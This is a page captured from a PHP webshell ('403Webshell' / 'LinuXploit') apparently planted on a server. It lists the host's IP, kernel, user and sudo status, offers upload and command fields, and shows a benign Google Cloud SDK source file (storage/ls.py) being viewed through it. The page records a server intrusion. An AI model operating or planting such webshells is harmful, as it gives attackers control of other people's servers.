403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/google-cloud-sdk/lib/surface/storage/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/google-cloud-sdk/lib/surface/storage/ls.py
# -*- coding: utf-8 -*- #
# Copyright 2022 Google LLC. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#    http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

"""Command to list Cloud Storage resources."""

from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals

from googlecloudsdk.api_lib.storage import cloud_api
from googlecloudsdk.calliope import base
from googlecloudsdk.command_lib.storage import encryption_util
from googlecloudsdk.command_lib.storage import errors
from googlecloudsdk.command_lib.storage import flags
from googlecloudsdk.command_lib.storage import list_util
from googlecloudsdk.command_lib.storage import ls_command_util
from googlecloudsdk.command_lib.storage import stdin_iterator
from googlecloudsdk.command_lib.storage import storage_url
from googlecloudsdk.core import log


@base.UniverseCompatible
class Ls(base.Command):
  """List Cloud Storage buckets and objects."""

  # pylint:disable=g-backslash-continuation
  detailed_help = {
      'DESCRIPTION': """\
      List your Cloud Storage buckets in a project and objects in a bucket.
      This command treats forward slashes in object names as directories. See
      below for examples of how to use wildcards to get the listing behavior
      you want.
      """,
      'EXAMPLES': """\
      The following command lists the buckets in the default project:

        $ {command}

      The following command lists the buckets in the specified project:

        $ {command} --project=my-project

      The following command lists the contents of a bucket:

        $ {command} gs://my-bucket

      You can use [wildcards](https://cloud.google.com/storage/docs/wildcards)
      to match multiple paths (including multiple buckets). Bucket wildcards are
      expanded to match only buckets contained in your current project. The
      following command matches ``.txt'' objects that begin with ``log'' and
      that are stored in buckets in your project that begin with ``my-b'':

        $ {command} gs://my-b*/log*.txt

      You can use double-star wildcards to match zero or more directory levels
      in a path. The following command matches all ``.txt'' objects in a bucket.

        $ {command} gs://my-bucket/**/*.txt

      The wildcard `**` retrieves a flat list of objects in a single API call
      and does not match prefixes. The following command would not match
      `gs://my-bucket/dir/log.txt`:

        $ {command} gs://my-bucket/**/dir

      Double-star expansion also can not be combined with other expressions in a
      given path segment and operates as a single star in that context. For
      example, the command `gs://my-bucket/dir**/log.txt` is treated as
      `gs://my-bucket/dir*/log.txt`. To get the recursive behavior, the command
      should instead be written the following way:

        gs://my-bucket/dir*/**/log.txt

      The following command lists all items recursively with formatting by
      using `--recursive`:

        $ {command} --recursive gs://bucket

      Recursive listings are similar to `**` except recursive listings include
      line breaks and header formatting for each subdirectory.
      """,
  }
  # pylint:enable=g-backslash-continuation

  @classmethod
  def Args(cls, parser):
    """Edit argparse.ArgumentParser for the command."""
    parser.add_argument(
        'path',
        nargs='*',
        help=(
            'The path of objects and directories to list. The path must begin'
            ' with gs:// and is allowed to contain wildcard characters.'
        ),
    )
    parser.add_argument(
        '-a',
        '--all-versions',
        action='store_true',
        help=(
            'Include noncurrent object versions in the listing. This flag is'
            ' typically only useful for buckets with [object'
            ' versioning](https://cloud.google.com/storage/docs/object-versioning)'
            ' enabled. If combined with the `--long` option, the metageneration'
            ' for each listed object is also included.'
        ),
    )
    parser.add_argument(
        '-b',
        '--buckets',
        action='store_true',
        help=(
            'When given a bucket URL, only return buckets. Useful for avoiding'
            ' the rule that prints the top-level objects of buckets matching a'
            ' query. Typically used in combination with `--full` to get the'
            ' full metadata of buckets.'
        ),
    )
    parser.add_argument(
        '-e',
        '--etag',
        action='store_true',
        help='Include ETag metadata in listings that use the `--long` flag.',
    )
    parser.add_argument(
        '--format',
        help=(
            'Use "gsutil" to get the style of the older gsutil CLI. (e.g.'
            ' "--format=gsutil"). Other format values (e.g. "json") do not'
            ' work. See different ls flags and commands for alternative'
            ' formatting.'
        ),
    )
    parser.add_argument(
        '--readable-sizes',
        action='store_true',
        help=(
            'When used with `--long`, print object sizes in human'
            ' readable format, such as 1 KiB, 234 MiB, or 2 GiB.'
        ),
    )
    parser.add_argument(
        '-R',
        '-r',
        '--recursive',
        action='store_true',
        help=(
            'Recursively list the contents of any directories that match the'
            ' path expression.'
        ),
    )

    output_styles = parser.add_group(mutex='True')
    output_styles.add_argument(
        '-l',
        '--long',
        action='store_true',
        help='For objects only. List size in bytes, creation time, and URL.',
    )
    output_styles.add_argument(
        '-L',
        '--full',
        action='store_true',
        help='List all available metadata about items in rows.',
    )
    output_styles.add_argument(
        '-j',
        '--json',
        action='store_true',
        help='List all available metadata about items as a JSON dump.',
    )

    flags.add_additional_headers_flag(parser)
    flags.add_encryption_flags(parser, command_only_reads_data=True)
    flags.add_fetch_encrypted_object_hashes_flag(parser, is_list=True)
    flags.add_read_paths_from_stdin_flag(parser)
    flags.add_soft_delete_flags(parser)

  @classmethod
  def _get_args(cls, args):
    """Get the args for the command."""
    soft_deleted = getattr(args, 'soft_deleted', False)
    all_versions = getattr(args, 'all_versions', False)
    buckets = getattr(args, 'buckets', False)
    return soft_deleted, all_versions, buckets

  def Run(self, args):
    """Command execution logic."""
    # TODO(b/190541521):  Determine if command group works with project number
    base.RequireProjectID(args)
    encryption_util.initialize_key_store(args)

    # We cannot do a backward incompatible change, and thus we are throwing a
    # warning here so that users in the long term can avoid using the flags
    # incorrectly.
    soft_deleted, all_versions, buckets = self._get_args(args)
    # We do not support operations for soft deleted resources combined with
    # --all-versions flag.
    if soft_deleted and all_versions:
      log.warning(
          'The --all-versions flag has no effect when used with the'
          ' --soft-deleted flag. When --soft-deleted is used, all'
          ' soft-deleted versions of the resource are returned.'
      )
    # When listing buckets, only --soft-deleted flag is allowed.
    if buckets and all_versions:
      log.warning('The --all-versions flag has no effect when listing buckets.')

    use_gsutil_style = flags.check_if_use_gsutil_style(args)

    found_non_default_provider = False
    if args.path or args.read_paths_from_stdin:
      paths = stdin_iterator.get_urls_iterable(
          args.path, args.read_paths_from_stdin, allow_empty=True
      )
    else:
      paths = [cloud_api.DEFAULT_PROVIDER.value + '://']

    storage_urls = [storage_url.storage_url_from_string(path) for path in paths]
    for url in storage_urls:
      if not isinstance(url, storage_url.CloudUrl):
        raise errors.InvalidUrlError(
            'Ls only works for cloud URLs. Error for: {}'.format(url.url_string)
        )
      if url.scheme is not cloud_api.DEFAULT_PROVIDER:
        found_non_default_provider = True

    if args.full:
      display_detail = list_util.DisplayDetail.FULL
    elif args.json:
      display_detail = list_util.DisplayDetail.JSON
    elif args.long:
      display_detail = list_util.DisplayDetail.LONG
    else:
      display_detail = list_util.DisplayDetail.SHORT

    ls_command_util.LsExecutor(
        storage_urls,
        buckets_flag=buckets,
        display_detail=display_detail,
        fetch_encrypted_object_hashes=args.fetch_encrypted_object_hashes,
        halt_on_empty_response=not getattr(args, 'exhaustive', False),
        include_etag=args.etag,
        include_managed_folders=True,
        next_page_token=getattr(args, 'next_page_token', None),
        object_state=flags.get_object_state_from_flags(args),
        readable_sizes=args.readable_sizes,
        recursion_flag=args.recursive,
        use_gsutil_style=use_gsutil_style,
        soft_deleted_buckets=buckets and soft_deleted,
    ).list_urls()

    if found_non_default_provider and args.full:
      # We do guarantee full-style formatting for all metadata fields of
      # non-GCS providers. In this case, data is hidden.
      log.warning('For additional metadata information, please run ls --json.')

Youez - 2016 - github.com/yon3zu
LinuXploit